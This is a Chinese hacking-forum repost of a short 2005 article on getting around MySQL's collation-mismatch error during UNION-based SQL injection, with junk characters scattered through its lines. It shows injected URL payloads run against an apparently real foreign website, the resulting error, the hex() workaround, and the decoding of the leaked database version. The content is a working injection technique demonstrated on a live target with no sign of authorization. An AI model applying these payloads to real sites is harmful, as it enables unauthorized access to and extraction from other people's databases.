找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2193|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei6 R+ a+ N, I2 K% s. j  s
文章性质:原创
% _2 G/ G1 Z( ], y" Q2 ]发布日期:2005-10-18
9 N; ~9 C6 {" n& A% [) y测试个国外的站时:
* }4 a$ ]2 ~" o0 M! furl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
% b/ i. @7 @6 x" r+ Q返回错误:
; A/ a( q( J8 A$ p/ C* ?! f6 O! ^7 ZIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'% j0 Q9 {( L3 ]
MySQL Error No. 126
+ N- k, u$ x8 `( M; g8 L看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
$ ]8 |% g, i& V7 Z) }解决办法:转为其他编码如hex。
) }! ?2 s* s0 {* Q0 R) Surl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 s: v* R7 Y* U
成功得到hex(version())的值为:
0 n. _  g8 N# d) c* S& ~, c342E312E332D62657461
4 d6 _6 I6 a$ h- `; y7 x回Mysql查询下得到:
7 o" A' O6 {1 h- H: [9 f% k! Gmysql> select 0x342E312E332D62657461;8 U  B. r, Y( b" J5 @
+------------------------+- E+ `. i" E& i2 c& L8 S
| 0x342E312E332D62657461 |4 m* ?: G2 s0 ]1 H8 v' s# x
+------------------------+
! r, ?6 ]" ]! M' t8 e" d| 4.1.3-beta |( n5 a6 ^% r  n
+------------------------+
" W' F6 \1 D- F: k1 row in set (0.00 sec)& }, E  s# u4 `! A0 q
7 T2 D7 f2 ~7 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表